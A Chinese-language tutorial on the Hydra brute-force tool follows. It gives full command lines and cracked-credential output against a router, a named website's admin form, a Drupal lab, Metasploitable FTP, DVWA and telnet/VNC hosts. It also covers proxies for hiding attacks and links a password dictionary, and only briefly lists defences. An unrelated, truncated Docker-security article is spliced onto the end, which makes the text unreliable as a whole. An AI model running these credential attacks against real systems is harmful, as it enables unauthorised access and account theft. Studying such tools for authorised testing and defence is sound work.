第三:检查模块是否有可选参数

hydra-U协议:例如hydra-Usmtp

此外:目标端口

目标端口是可以自己选择的!如果没有提供默认公用端口,可以自行设置协议的端口;

如果指定要使用SSL(“-S”选项),则默认使用SSL公用端口。如果使用“://”符号,则必须使用“[”“]“括号去支持IPv6地址或CIDR(“192.168.0.0/24”)爆破:

hydra[一些命令行选项]ftp://[192.168.0.0/24]/

hydra[某些命令行选项]-6smtp://[2001:db8::1]/NTLM

请注意,所有hydra都是IPv4的!如果要攻击IPv6地址,则必须添加“-6”命令行选项。所有攻击都将会是IPv6!

如果要通过文本文件提供目标,则不能使用://符号,但使用旧样式,只提供协议(和模块选项):

hydra[某些命令行选项]-Mtargets.txtftp

可以在每个目标之后添加“:”,为每个目标条目提供端口,例如:

foo.bar.com

target.com:21

unusual.port.com:2121

default.used.here.com

127.0.0.1

127.0.0.1:2121

请注意,如果要附加IPv6目标,则必须提供-6选项,*必须*将IPv6地址放在文件[]中的括号中,

如下所示:

foo.bar.com

target.com:21

[FE80::1%的eth0]

[2001::1]

[2002::2]:8080

[2A01:24A:133:0:00:123:FF:1A]

3.2登录和密码

有很多关于登录和密码攻击的选项,比如使用-l进行登录,-p为密码,请告诉hydra这是唯一的登录尝试和/密码尝试。

使用-L进行登录,-P为密码,您可以提供带条目的文本文件。

例如:

hydra -l admin -p password ftp:// localhost /

hydra -L default_logins.txt -p test ftp:// localhost /

hydra -l admin -P common_passwords.txt ftp:// localhost /

hydra -L logins.txt -P passwords.txt ftp:// localhost /

此外,您可以通过“-e”选项根据登录尝试密码。“-e”选项有三个参数:

s - 尝试登录密码

n - 尝试一个空的密码

r - 反转登录并尝试密码

如果你想,例如尝试“尝试登录密码和”空密码“,你在命令行上指定“-e sn”。但是,尝试密码的方式还有两种:-p /P:

您可以使用文本文件,文本内的登录名和密码对由冒号分隔,例如:

管理员:密码

测试:测试

FOO:酒吧

这是一个常见的默认帐户样式列表,也是由dpl4hydra.sh与hydra一起提供的默认帐户文件生成器生成的。当使用这样一个文本文件与-C选项 – 请注意,在这种模式下你不能使用-l / -L / -p / -P选项(-e nsr但是可以)。例:

hydra -C default_accounts.txt ftp:// localhost /

最后,有一个使用-x选项的暴力模式(你不能使用-p / -P / -C),

使用-x minimum_length:maximum_length:charset

字符集定义是小写字母的“a”,大写字母的“A”,“1”的数字和其他任何你提供它是他们的真实代表。

例子:

-x1:3:a将所有小写字母从长度1到3生成密码

-x2:5:/将密码从长度2到5只包含斜杠

-x5:8:A1使用大写和数字生成长度为5到8的密码

例:

hydra -l ftp -x 3:3:a ftp:// localhost /

3.3模块的特殊选择

通过第三个命令行参数(TARGETSERVICEOPTIONAL)或-m命令行选项,您可以将一个选项传递给模块。许多模块使用这个,有几个需要它!要查看模块的特殊选项,输入:

hydra -U <module>

例如:

./hydra -U http-post-form

特殊选项可以通过-m参数作为第三个命令行传递,选项或服务://target/option格式。

例子(他们其实是一样的):

./hydra -l test -p test -m PLAIN 127.0.0.1 imap

./hydra -l test -p test 127.0.0.1 imap PLAIN

./hydra -l test -p test imap://127.0.0.1/PLAIN

3.4恢复被破坏/中断的会话

当Hydra被Control-C中止,死亡或者崩溃时,它会留下“hydra.restore”文件,文件包含所有必要的信息,所以我们可以恢复会话。但要注意该会话文件每5分钟写一次。此外:hydra.restore文件不能复制到不同的平台(例如从低位编码littleendian到高位编码bigendian,或从solaris系统到aix)

3.5如何扫描/破解代码

环境变量HYDRA_PROXY_HTTP定义了Web代理(只为http服务!)。

以下语法有效:

HYDRA_PROXY_HTTP = “http://123.45.67.89:8080/”

HYDRA_PROXY_HTTP = “HTTP://login:[email protected]:8080 /”

HYDRA_PROXY_HTTP = “proxylist.txt”

最后一个例子是一个包含多达64个代理的文本文件(同样的),格式定义作为其他示例。

对于所有其他服务,请使用HYDRA_PROXY变量进行扫描/破解。它使用相同的语法。例如:

HYDRA_PROXY = [connect | SOCKS4 | SOCKS5]:// [login:[email protected]] proxy_addr:proxy_port

例如:

HYDRA_PROXY =connect://proxy.anonymizer.com:8000

HYDRA_PROXY = SOCKS4:// AUTH:[email protected]:1080

HYDRA_PROXY = socksproxylist.txt

3.6额外的提示

*按可能性排序您的密码文件,并使用-u选项查找密码更快!

*单击你的字典文件!这可以节省你很多时间:-)

cat words.txt | sort | uniq > dictionary.txt

*如果您知道目标是使用密码策略(允许用户),只能选择最小长度为6的密码,至少包含一个密码,字母和一个数字等使用工具pw-inspector,用hydra包减少密码列表:

cat dictionary.txt | pw-inspector -m 6 -c 2 -n > passlist.txt

3.7结果输出

结果输出到stdio以及其他信息。通过-o命令行选项,结果也可以写入文件。使用-b,并且可以指定输出的格式。目前,这些被支持:

*文本-纯文本格式

*`jsonv1`-使用版本1.x的JSON数据(定义如下)。

*`json`-JSON数据使用最新版本的模式,目前在那里只是版本1。

如果使用JSON输出,结果文件可能不是有效的JSON,如果有的话,Hydra的严重错误。

###JSONSchema

以下是JSON输出示例。标记一些参数的注意事项:

*`errormessages`-通常打印的零个或多个字符串的数组在九头蛇的运行结束时到stderr。文本是非常自由的形式。

*“success”-指示Hydra是否正常运行,是否是没有错误(**NOT**如果检测到密码)。该参数是JSON值“true”或“false”取决于是否完成密码爆破。

*`quantityfound`-发现了多少用户名+密码组合。

*`jsonoutputversion`-模式的版本,1.00,1.01,1.11,2.00,2.03等Hydra将使2.0版本从低位跨越双字节高位,(而不是只有v1.1vsV1.10)。低版本是不断叠加的,所以1.02将包含比1.0版本更多字段去实现向后兼容。版本2.x也将会从1.x版本的输出去掉一些东西。

1.00的案例:

Version 1.00 example:

{
“errormessages”: [
"[ERROR] Error Message of Something”,
“[ERROR] Another Message”,
“These are very free form”
],
“generator”: {
“built”: “2017-03-01 14:44:22″,
“commandline”: “hydra -b jsonv1 -o results.json … …”,
“jsonoutputversion”: “1.00″,
“server”: “127.0.0.1″,
“service”: “http-post-form”,
“software”: “Hydra”,
“version”: “v8.5″
},
“quantityfound”: 2,
“results”: [
{
"host": "127.0.0.1",
"login": "[email protected]",
"password": "bill",
"port": 9999,
"service": "http-post-form"
},
{
"host": "127.0.0.1",
"login": "[email protected]",
"password": "joe",
"port": 9999,
"service": "http-post-form"
}
],
“success”: false
}

0×04参考文档

Hydra带有一个相当长的README文件来描述,有关使用和特殊选项的详细信息。当然你也可以参考本文快速入门。

但有时详细的在线帮助可以大大提高您的效率。

推荐阅读以下链接,部分可能需要梯子,自备哦

安装:

http://www.madirish.net/content/hydra-brute-force-utility

一般用法和选项:

http://www.aldeid.com/wiki/Thc-hydra

http://resources.infosecinstitute.com/online-dictionary-attack-with-hydra/(需要梯子)

HTTP基本认证:

https://www.owasp.org/index.php/TestingforBruteForce%28OWASP-AT-004%29

http://www.sillychicken.co.nz/Security/how-to-brute-force-your -router-in-you-windows.html

基于HTTP表单的auth:

http: //www.art0.org/security/performing-a-dictionary-attack-on-an-http-login-form-using-hydrahttp://insidetrust.blogspot.com/2011/ 08 / using-hydra-to-dictionary-attack-web.html

http://www.sillychicken.co.nz/Security/how-to-brute-force-http-forms-in-windows.html

https://www.owasp.org/index.php/Testing for Brute Force %28OWASP-AT-004%29

多协议:

http://www.madirish.net/content/hydra-brute-foece-utility

Telnet:

http://www.adeptus-mechanicus.com/codex/bflog/bflog.html

对于那些用DVWA测试的人来说,这就是你想要的:

hydra-ladmin-ppasswordhttp-get-form“/dvwa/login.php:username=^USER^&password=^PASS^&submit=Login:Loginfailed”

以下对参考文档主要内容的详细介绍,取其精华,去其糟粕,同样,也会增加实例到渗透测试:爆破篇,敬请期待

0×05爆破实例

接下来将简单描述几个Hydra使用的实例!

实例1.爆破路由器

思路:当你登录路由器默认管理地址时,使用Hydra爆破

首先,找到你的路由器IP,你应该已经知道了,我的是192.168.1.1,此路由器的默认用户名为“admin”。如果由于某种原因,不记得密码了,现让我们来找回密码。

然后,打开准备好的Hydra,windows下打开CMD或Powershell打开命令提示符并进入到Hydra目录

运行下面的命令替换你的值(命令标志区分大小写)。

hydra -l {username} -P {password list path} -s {port} {IP Address} http-get /

实际命令如下所示:

hydra -l admin -P password.lst -s 80 192.168.1.1 http-get /

命令分解:

hydra – > hydra程序

-l – >(小写“L”不要与大写字母混淆i)单个用户名到目标。使用大写-L来指定用户名列表

-P – >提供密码list的路径。-p尝试单个密码,即“passw0rd”

-s – >端口目标您的路由器可能会运行在不同的端口,如8080

{IP地址}这个不用解释

http-get – >暴力破解的服务部分

“/” – >这将指定要定位的页面,如果这被排除,命令将不会运行。“/”只是表示不包括root“

如果你的字典和Hydra一样强,你将在输出行收获一个用户名和密码,这也意味着你成功了!

实例2.爆破HTTP

首先需要确认的几件事情:

返回页面

Post参数

文本尝试失败

返回页面

这通常与登录页面相同,但并不总是如此。所以只需查看页面的源代码,并找到一个方法让表单=“post”。动作值是将被“发布”的页面的值。正如你可以看到要发布的页面是“index.php”

Post参数

这些可以通过查看登录页面的源代码来找到。表单中的所有标签都将被发布。帖子名称将是标签的“name”属性。如果它有一个定义,该值将是“值”属性。相应的,你可以使用firefox插件Hackbar篡改数据扩展。

文本尝试失败

这是登录尝试失败时在网页上找到的文字。

把它们放在一起:

网站:www.sillychicken.co.nz/administrator/

返回页面:index.php

返回值是:usrname=(用户输入),pass=(用户输入),提交=Login

现在,我们从页面源中提取,尝试登录到管理页面,我们得到一个javascript弹出窗口,其中显示“用户名不正确,密码……”

“不正确的用户名”听起来像是不会显示的文字,如果是一个成功的登录,我们将使用它。

让我们将它们全部融入Hydra中:

hydra -l {username} -P {passwordlistpath} -s {port} -f {SiteAddress} http-post-form “{Path to postback page}:{USERNAME_NAME}=^USER^&{PASSWORD_NAME}=^PASS^:{failedlogintext}“

我的命令看起来像:

hydra -l hydra-Ppassword.list -s 80 -f www.sillychicken.co.nz http-post-form “/administrator/index.php:usrname=^USER^&pass=^PASS^&submit=Login:Incorrect Username”

命令分析

hydra->hydra程序

-l->(小写“L”不要与大写字母混淆i)单个用户名到目标。使用大写-L来指定用户名列表)我已经为此演示设置了“hydra”帐户,并已被删除

-P->提供密码lis的路径。-p尝试单个密码,即“passw0rd”

-s->端口到http的默认端口为80

-f->在第一个匹配后退出程序

{SiteAddress}IEwww.sillychicken.com ->不要包含http://

http-post-form->服务到暴力 HydraREADME具有http-form-post的命令,将会发生错误

{Pathtopostbackpage}->所有后续站点地址必须以“/”开头

{USERNAME_NAME}->用户名回发变量名称

^USER^->这将被替换为由-l或-L用户名指定的用户名

^PASS^->这将被替换为定义的列表中的密码

{Failedlogintext}->只会在失败中找到的文本登录

注意事项:*确保是从http-post-form“到结束命令之后

实例3.爆破Drupal站点

安装九头蛇

为了安装Hydra,首先从http://freeworld.thc.org/releases/hydra-5.7-src.tar.gz下载Hydra源码 unzip hydra:

$ tar xvzf hydra-5.7-src.tar.gz
$ cd hydra-5.7-src /

一旦解压缩,你需要配置Hydra。确保GCC,Make和其他依赖关系被安装以编译C程序。配置Hydra使用:

$ ./configure

Starting hydra auto configuration ...

Checking for openssl (libssl/ssl.h) ...

                                ... NOT found, SSL support disabled

Get it fromhttp://www.openssl.org

Checking for Postgres (libpq.so) ...

                             ... found

Checking for SVN (libsvn_client-1 libapr-0.so libaprutil-0.so) ...

                          ... NOT found, module svn disabled

Checking for firebird (libfbclient.so) ...

                                   ... NOT found, module firebird disabled

Checking for NCP (libncp.so / nwcalls.h) ...

                                     ... NOT found, module NCP disabled

Checking for SAP/R3 (librfc/saprfc.h) ...

                                  ... NOT found, module sapr3 disabled

Get it fromhttp://www.sap.com/solutions/netweaver/linux/eval/index.asp

Checking for libssh (libssh/libssh.h) ...

                                  ... NOT found, module ssh2 disabled

Get it fromhttp://www.libssh.org

Checking for GUI req's (pkg-config) ...

                                ... found

Hydra will be installed into .../bin of: /usr/local

(change this by running ./configure --prefix=path)

Writing Makefile.in ...

now type "make"

这些错误意味着某些依赖关系未安装。你仍然可以使用没有这些依赖关系的Hydra,但如果没有这些依赖关系,你将无法使用它们支持的协议。例如,上述错误意味着我们将无法执行SSL,SVN,甚至SSH爆破。除了这些常见的协议之外,错误表明支持firebird,NCP,SAP都缺少相应的依赖。Firebird是一种数据库技术。NCP是用于控制NetWare设备的NetWare支持协议,SAP /R3是用于客户关系类型包(认为结算和业务任务有关)的协议。不支持这些协议,Hydra的实用程序受到严格限制,因此你应该努力寻找支持这些功能的软件包。安装程序提供了一些有用的链接来查找所需的库。一般来说,如果你搜索[package]-dev或-devel,找到你的发行版的支持库。

现在在Fedora上使用:

$ sudo yum install subversion-devel openssl-devel libssh-devel firebird-devel ncpfs-devel postgresql-devel gtk2-devel

这应该允许使用除SAP库之外的所有库。

一旦安装了所有依赖项,通过重新运行configure,然后make和最后make install命令。确保作为“make install”命令的特权用户运行,以便将所需的库放在文件系统上(即使用“sudo make install”)。

安装完成后,你可以从命令行使用Hydra或GUI版本的xHydra。使用命令行对于大多数需求是完全足够的,但是有时GUI是有帮助的。

有效的爆破

暴力攻击的力量受到攻击者提供的输入的限制。当尝试猜测用户名和密码时,有两个主要的策略:

第一个是尝试盲目的爆破。为此,攻击工具会从预定义集合的组合中生成用户名和密码。通常这是数字和字母。例如,在盲目爆破攻击中,系统首先尝试使用密码“a”作为用户“a”登录。接下来,它尝试以用户’a'登录,密码为’b'等等,循环遍历所有可能的笛卡尔可能性。这种方法在时间上是非常低效的,但最终将找到有效的凭据。

第二种方法是使用列表作为输入。为此,将向攻击工具提供用户名和密码列表。然后,该工具将用户列表中的第一个帐户和密码列表中的第一个密码,依次连续尝试每个用户的密码。这可以通过将可用输入限制到更小的集合来加快此过程。

暴力攻击的主要缺点是他们花费的时间很长。然而,通过减少变量,可能会加速暴力攻击。收集用户名/密码样式认证系统的有效用户列表将有效用户的猜测限制,极大地减少了连接尝试次数。许多服务将以公开有效的用户帐户如电子邮件地址或其他显示数据的形式,提供给Hydra的用户文件,这样准确性将大大提高。

用例:爆破Drupal

九头蛇可以用于许多不同类型的暴力攻击。Hydra对于老式的爆破工具(如Brutus)的一个优点是其能够执行HTTP post form攻击。这允许你使用Hydra来攻击基于Web的应用程序,甚至是具有反XSRF格式令牌的应用程序。

Hydra的一个潜在用例是测试Drupal用户名和密码的强度。例如,如果在http://172.16.46.129/drupal-6.16/中安装了Drupal站点,我们可以使用任意数量的方法来收集users.txt中有效用户列表(包括http:// www.madirish.net/?article=443)。一旦我们有一个用户列表和可能的密码列表(可能保存为passwords.txt),同时我们需要发现一个最终的组件。Drupal使用令牌保护所有表单(包括登录表单),因此我们需要在Web浏览器中提取目标,查看源代码并找到令牌组件,例如:

</ ul> </ div> <input type =“hidden”name =“form_build_id”id =“form-6fae72d47e80c07782f8d9f8a92b37ca”value =“form-6fae72d47e80c07782f8d9f8a92b37ca”/>

<input type =“hidden”name =“form_id”id =“edit-user-login-block”value =“user_login_block”/>

注意form_build_id(form-6fae72d47e80c07782f8d9f8a92b37ca)的值,这是我们需要提供的令牌,因此Drupal可以验证表单的帖子。除了表单令牌之外,你还需要找到表单字段名称以及表单后期操作URI。收集所有这些数据后,最后一步是在登录失败时找到出现在页面中的唯一字符串。没有这个Hydra无法确定登录尝试是否成功。默认情况下,Drupal提供字符串“对不起,无法识别的用户名或密码”。密码失败时。装备了这最后的信息,我们可以开始一个九头蛇暴力攻击:

$ hydra -L users.txt -P passwords.txt 172.16.46.129 http-post-form "/drupal-6.16/node?destination=node:name=^USER^&pass=^PASS^&form_id=user_login_block&form_build_id=form-545eb8f40f49cc07d5cf994f2f7ffe2e:Sorry, unrecognized username or password."

Hydra v5.7 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org\ starting at 2010-06-25 11:56:02`

[DATA] 16 tasks, 1 servers, 20 login tries (l:4/p:5), ~1 tries per task

[DATA] attacking service http-post-form on port 80

[80][www-form] host: 172.16.46.129 login: admin password: password

[STATUS] attack finished for 172.16.46.129 (waiting for childs to finish)

Hydra (http://www.thc.org\ finished at 2010-06-25 11:56:03`

以上输出显示,Hydra使用用户名“admin”和密码“password”成功登录到目标站点。请注意,这两个值都分别显示在user.txt和passwords.txt文件中。

Hydra可以用来攻击一长串协议。例如,使用以下命令可以攻击上述同一主机上的SSH服务器:

$ hydra -L users.txt -P passwords.txt 172.16.46.129 ssh2

Hydra v5.7 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org\ starting at 2010-06-25 12:17:35`

[DATA] 16 tasks, 1 servers, 20 login tries (l:4/p:5), ~1 tries per task

[DATA] attacking service ssh2 on port 22

[STATUS] attack finished for 172.16.46.129 (waiting for childs to finish)

[22][ssh2] host: 172.16.46.129 login: admin password: password

Hydra (http://www.thc.org\ finished at 2010-06-25 12:17:39`

同样,此输出显示登录“admin”和密码“password”可以用于访问目标上的SSH。

实例4.爆破FTP和Web

1.介绍

当攻击者想要了解在线系统时,他可以使用字典爆破攻击。下面简单介绍了两种类型的攻击,并解释了如何使用Hydra启动在线字典攻击。

2.爆破与字典攻击

攻击者可以尝试所有可能的密码组合(暴力方法)。好处是对获得正确密码是有利的。缺点是这是一个非常耗时的过程。

攻击者可以建立一组连接数字(字典中的示例性模式)的通用字,并尝试从该集合中的每个组合。这种方法(字典攻击)可以节省攻击者的时间,因为他不必强制整个关键空间。缺点是不能保证找到正确的密码。然而,打入正确密码的可能性是非常好的。

3.环境

Hydra被描述为支持许多服务的网络登录破解者。下面简单介绍如何使用Hydra启动对FTP和Web表单的在线字典攻击。

Metasploitable是一种基于Linux的漏洞环境虚拟机。例如,它可以用于练习渗透测试技能。请记住,此机器易受攻击,不应以桥接模式运行。

DVWA(Damn Wulnerable Web Application)是一种有意易受攻击的Web应用程序。对于那些想要了解Web应用程序安全性的人来说,这是非常棒的环境。DVWA是Metasploitable的一部分。

4.字典

让我们创建两个简短的描述字典。

用户列表(list_user):

1

2

3

admin_1

admin

msfadmin

密码列表(list_password)

1

2

3

4

password_1

password

msfadmin

password_2

有12种组合进行检查(3个用户4次密码)。这些组合包括DVWA登录表单和Metasploitable FTP(DVWA登录表单的管理员/密码; Metasploitable FTP的msfadmin / msfadmin)的默认凭据。

5.Metasploitable字典攻击FTP

使用以下命令启动攻击:

[email protected]:~$ hydra -L list_user -P list_password 192.168.56.101 ftp -V

使用上述字典(list_user和list_password)。Metasploitable FTP服务器的IP地址为192.168.56.101。这就是为什么在命令中使用ftp模块。应该使用-V来查看每次尝试的用户名和密码。

如下所示,Hydra已经找到一对有效的用户名和密码(用户名:msfadmin,password:msfadmin)。

Clipboard Image.png

6.DVWA词典攻击Web登录表单

使用以下命令启动攻击:

[email protected]:~$ hydra -L list_user -P list_password 192.168.56.101 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V

上述字典(list_user和list_password)再次被使用。DVWA的IP地址为192.168.56.101。DVWA的登录表单可以在192.168.56.101/dvwa/login.php的Metasploitable中找到。当用户登录时,生成以下请求(由Burp Suite 拦截):

Clipboard Image.png

关键部分标记在屏幕截图上。它们是http-post-form模块参数的值:

"/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"

^ USER ^和^ PASS ^分别替换为用户名(来自list_user)和密码(list_password)。当登录尝试失败时,服务器将以“登录失败”消息进行响应,该消息是最后一个参数的值。

最后,应该使用-V来查看每次尝试的用户名和密码。

如下所示,Hydra已经找到一对有效的用户名和密码(用户名:admin,password:password)。

Clipboard Image.png

7.总结

本文介绍了两种类型的在线密码攻击(爆破,字典),并介绍了如何使用Hydra对FTP和Web表单启动在线字典攻击。Hydra是一个支持许多服务的网络登录破解者

[1]。Metasploitable可用于实践渗透测试技能

[2]。DVWA(Damn Wulnerable Web Application)对于那些想要使用Web应用程序安全性的人来说是有帮助的。

参考文献:

Hydra

http://www.thc.org/thc-hydra/

[2] Metasploitable

http://www.offensive-security.com/metasploit-unleashed/Metasploitable

[3] DVWA(Damn Wulnerable Web Application)

http://www.dvwa.co.uk/

[4] Burp suite

http://portswigger.net/burp/

实例5.爆破Telnet

爆破是一个相当简单的思维,也是一个非常强大的想法。简单地说这是什么意思 攻击者将尝试每个可能的字符组合,以尝试猜测你的密码/密钥等。这是为什么密码很重要的原因之一,因为爆破攻击会找到你的密码,你需要确保密码爆破在所需时间使其在技术上不可行。我们也简要地看了一下使用爆破来破解你所拥有的密码文件,但是这次我爆破一些登录服务。

忧虑

这两个主要原因是:

许多公司通过其防火墙允许一些服务,无论是ftp,pop3,ssh甚至网页登录到某个地方。所有这些都可以是爆破的。此外,这样做的工具易于使用和获取。

爆破的基本概念有所改变。许多爆破工具允许你指定密码或用户名列表。这是因为使用这些比传统的爆破更快。但是使用现代的硬盘驱动器大小和方法(彩虹表,组合攻击等),使用所有可能的字符组合创建一个文件是非常可行的,使用这样一个文件会减少运行这种攻击所需的时间。

使用linux系统进行爆破

让我展现出一个可以在linux和相关系统上使用的实用程序 – Hydra。

该软件来自THC,它是一个非常有用的基于命令行的程序,可以处理许多不同的协议。这是从4.6版本我正在使用的列表

支持的协议:[telnet ftp pop3 imap smb smbnt http https http-proxy cisco cisco-enable ldap2 ldap3 mssql mysql nntp vnc socks5 rexec snmp cvs icq pcnfs sapr3 ssh2 smtp-auth teamspeak]

让我们从一个简单的服务开始 – telnet ..

# hydra -L ./users -P ./pass -e ns -t 1 10.0.0.50 telnet -v

Hydra v4.6 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2005-12-28 17:39:08

[DATA] 1 tasks, 1 servers, 64 login tries (l:8/p:8), ~64 tries per task

[DATA] attacking service telnet on port 23

[23][telnet] host: 10.0.0.50 login: easy password: 12345

[STATUS] 16.00 tries/min, 16 tries in 00:01h, 48 todo in 00:04h

[23][telnet] host: 10.0.0.50 login: public password: joe

[STATUS] 18.50 tries/min, 37 tries in 00:02h, 27 todo in 00:02h

[23][telnet] host: 10.0.0.50 login: sue password: joe

[STATUS] attack finished for 10.0.0.50 (waiting for childs to finish)

Hydra (http://www.thc.org) finished at 2005-12-28 17:42:08

现在首先,这个服务器有一些很简单的密码和用户名设置(你可以看到),现在看看我使用的交换机..

-L,指定用户名列表,注意大小写不同

-P,指定密码列表

-e,尝试null和相同(与用户名相同)密码

-t,以指定要运行的parralel进程的数量

那么目标IP和服务

-v,用于详细

让我们尝试运行它与常用的东西..

# hydra -l "" -P ./pass -e n -t 1 10.0.0.100 vnc -V

Hydra v4.6 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2005-12-28 17:49:28

[DATA] 1 tasks, 1 servers, 8 login tries (l:1/p:8), ~8 tries per task

[DATA] attacking service vnc on port 5900

[5900][vnc] host: 10.0.0.100 login: password: 123456

[STATUS] attack finished for 10.0.0.100 (waiting for childs to finish)

Hydra (http://www.thc.org) finished at 2005-12-28 17:49:30

正如你所看到的那样,VNC也是如此,所有我改变的是…

将用户名指定为null,-l“”

停止检查相同的密码,-en

简单,强大,实用

0×06免责说明

1.请勿在军事或秘密服务机构或非法目的使用。

2.Affero通用公共许可证版本3(AGPLv3)适用于此代码。

3.包含了OpenSSL的特殊许可扩展,这是Debian家族所需要的

0×07联系我们

诚心需要大家的帮助!

如果您发现错误,编码增强功能或为服务写入新的攻击模块,请将它们发送到[email protected]

有趣的攻击模块将是:OSPF,BGP,PIM,PPTP,…(或任何你可能做的事情(而且还没有)

请注意,您也可以通过github下载并提交:https://github.com/vanhauser-thc/thc-hydra

非常感谢大家的建议!

Yourssincerly,

vanHauser

TheHackersChoice

http://www.thc.org/thc-hydra

0×08防范措施

由于在攻击期间导致的失败的登录尝试次数很多,所以爆破是非常容易发现的。有几种有效的策略来检测和预防这种攻击。

1.最有效的策略之一是限制失败的登录尝试次数。使用此策略可以在一定数量的故障之后阻止主机或锁定帐户。在实施这种方法时应该小心,因为攻击者可能会故意导致帐户被锁定而导致拒绝服务条件。由于响应有效的用户引起认证失败,使用此策略也会提高服务的支持成本。

2.另一个策略是限制连接尝试。许多服务允许配置此值。通过限制连接尝试次数,可能必须重新启动攻击工具才能完成攻击。这种类型的配置可能会使攻击者充分混淆,从而使他们远离。至少它会防止自动攻击。

3.每次失败的尝试增加服务响应时间是另一个可以在许多情况下运行的策略。该策略涉及连续增加每次失败的认证尝试的响应时间。这意味着首先发生小的延迟,但随着攻击的进行,延迟更长和更长。这是一种非常有效和不引人注意的挫败暴力攻击的方法。

4.只要服务创建某种失败的日志,检测爆破就很容易。最常见的入侵检测系统(IDS)应该能够在短时间内检测大量失败的登录尝试。这种方法的缺点是攻击者可能会洪泛一个系统来产生大量的IDS事件通知,这些通知可以用于分析人员引发信息超载。充斥警报的分析人员将难以通过所有通知来识别实际的攻击,因此攻击者可能能够隐藏大量攻击的攻击垃圾。

5.审计系统密码也是一个有效的防范。通过检查你自己的系统以确保常用的用户名和密码不允许访问,你可以确保使用Hydra和普通用户和密码列表的攻击者无法访问。这种类型的渗透测试可能是耗时的,但是可能会在暴力攻击开始或成功之前提醒运营商潜在的漏洞。

6.检查你的日志。确保你检查任何系统日志可疑活动。当我运行这些测试时,目标服务器的日志显示了很多失败的登录,始终是发生事件的一个明确的迹象

7.正确设置你的服务 在关闭会话之前只允许一定数量的登录,如果可能的话,可以锁定谁可以从哪里登录

8.使用好的密码

最后一件事,在某种恶意的事情之前检测到这种类型的事情。

字典更新:链接:http://pan.baidu.com/s/1pLMFjsR 密码:p84w

失效及时私信我

更新时间:2017年10月31日

    Docker作为应用容器中最引人瞩目的实现方式,在近几年得到飞速的发展,大有成为应用容器事实标准的趋势,国内外不少企业已经将其应用到生产系统中了,有理由相信随着docker自身技术的完善和相关技术生态的建立,将成为下一代云计算的基石。

    Docker的优点很多,由于其诞生的目的就是便于持续的集成和快速部署,尽量减少中间环节,这也为其安全控制带来难度, Gartner在确定2017年中最高安全技术,关于容器安全是其中一项,原文如下:

     Containers use a shared operating system (OS) model. Anattack on a vulnerability in the host OS could lead to a compromise of allcontainers. Containers are not inherently unsecure, but they are being deployedin an unsecure manner by developers, with little or no involvement fromsecurity teams and little guidance from security architects. Traditionalnetwork and host-based security solutions are blind to containers. Containersecurity solutions protect the entire life cycle of containers from creationinto production and most of the container security solutions providepreproduction scanning combined with runtime monitoring and protection.

    报告分析了容器安全面临的挑战:容器使用共享操作系统(OS)模型。对主机操作系统中的漏洞的攻击可能导致所有容器被攻击,且容器本身并不完全安全。但真正的问题在于由开发人员以不安全的方式部署,安全团队很少或根本没有参与,安全架构师也没有指导。

Docker容器安全吗?

   本身这个问题就是一个哲学问题,答案是否定的-不安全,因为没有绝对安全。其实对docker容器安全质疑最大的一点就是其隔离的彻底性,与其对比就是当前成熟的虚拟机(VM)技术。相对于VM,docker容器只是对进程和文件进行虚拟化,而VM做到了OS级别的虚拟化。从这个角度看VM的隔离性确实要好于docker容器,也就是说对宿主机的安全影响VM要远远小于docker,但换个角度看,这也恰恰正是docker的一个优点:轻量级,高效以及易移植。所以,安全和易用永远存在在一个平衡点,本文探讨的前提是认同docker带来的便利性,也接受其带来的安全风险,而要做的是利用一些的安全手段来将其风险降到可接受范围。

而容器安全如何来实现呢?

     其实在Gartner的报告中也提到了,需要对docker全生命周期的安全防护,信息安全本质上就是控制风险,如果从一个docker的生命中周期面临的安全威胁来设计docker的安全防护策略,那安全控制的思路就会十分清晰。

     首先,来简单捋一下docker容器的生命周期,一个docker容器从产生到运行部署大致分为如下三个状态:

 

1.jpg

  • –Dockerfile:用于创建image镜像的模板文件,出于管理和安全的考虑,docker官方建议所有的镜像文件应该由dockerfile来创建,而当前不少用户把docker当虚拟机来使用,甚至容器中安装SSH,从安全的角度,这是不恰当的。

  • –Image:镜像文件,对比PC端的概念,我们可以把它理解为服务器端的可执行软件包。一旦打包生成,如存在安全问题,那这些问题也被一并打包,最后导致安全事件。

  • –Container:运行起来的image文件就是容器了,从外来看就是一个应用,可对外提供服务了。

      所以不难发现,docker容器的生命周期,就是一个镜像文件从产生、运行到停止的过程,对其安全防护的目标就很明确了,那就是:

2.jpg

     接下来,我们把docker容器生命周期和实际工作中结合起来,大致如下图所示:

 

3.jpg

      在一般企业内,一个标准的产品发布流程大致如下:研发人员将代码提交给代码库;QA和安全人员通过jekins等工具进行编译并测试;测试完成后,由运维人员获取最终上线版本,发布到生产环境。也可能是测试完成后,直接发布到生产环境。

     化繁为简,可将docker生命周期拆为两个大阶段,非生产环境阶段和生产环境阶段,这两个阶段安全控制的目标如下:非生产环境中保证镜像安全可信,生产环境中保证镜像正确的运行。


两个阶段安全保护措施

   Docker公司与美国互联网安全中心(CIS)合作,制定了docker的最佳安全实践,其中包括了主机安全配置、docker守护进程配置、docker守护程序配置文件、容器镜像和构建、容器运行安全、docker安全操作六大项,99个控制点。几乎覆盖了docker安全要求各个方面,我们也对其进行了翻译和整理,在本专栏的后续文章中会陆续发布。

保证非生产环境中的镜像安全

   –容器使用非root用户运行

   为了防止容器逃逸而获得宿主机的权限,容器内应用以非root用户身份运行,如果用户已经在容器镜像中定义,则默认情况下容器将作为该用户运行,且不需要特定的用户命名空间重新映射。可以在Dockerfile中添加用户:RUN useradd -d / home /username -m -s / bin / bash username USER username 

   –使用安全的基础镜像

   如果基础镜像存在安全问题,那整个镜像文件的安全性也无从谈起,用户可根据自身需求定制基础镜像,并强制要求组织内使用认可的基础镜像;也可使用第三方安全的镜像,这里推荐使用Alpine-linux,docker所有的官方镜像都使用其作为基础镜像,docker也会对其维护更新,所以安全性有保证。

   –删除镜像中的setuid和setgid权限

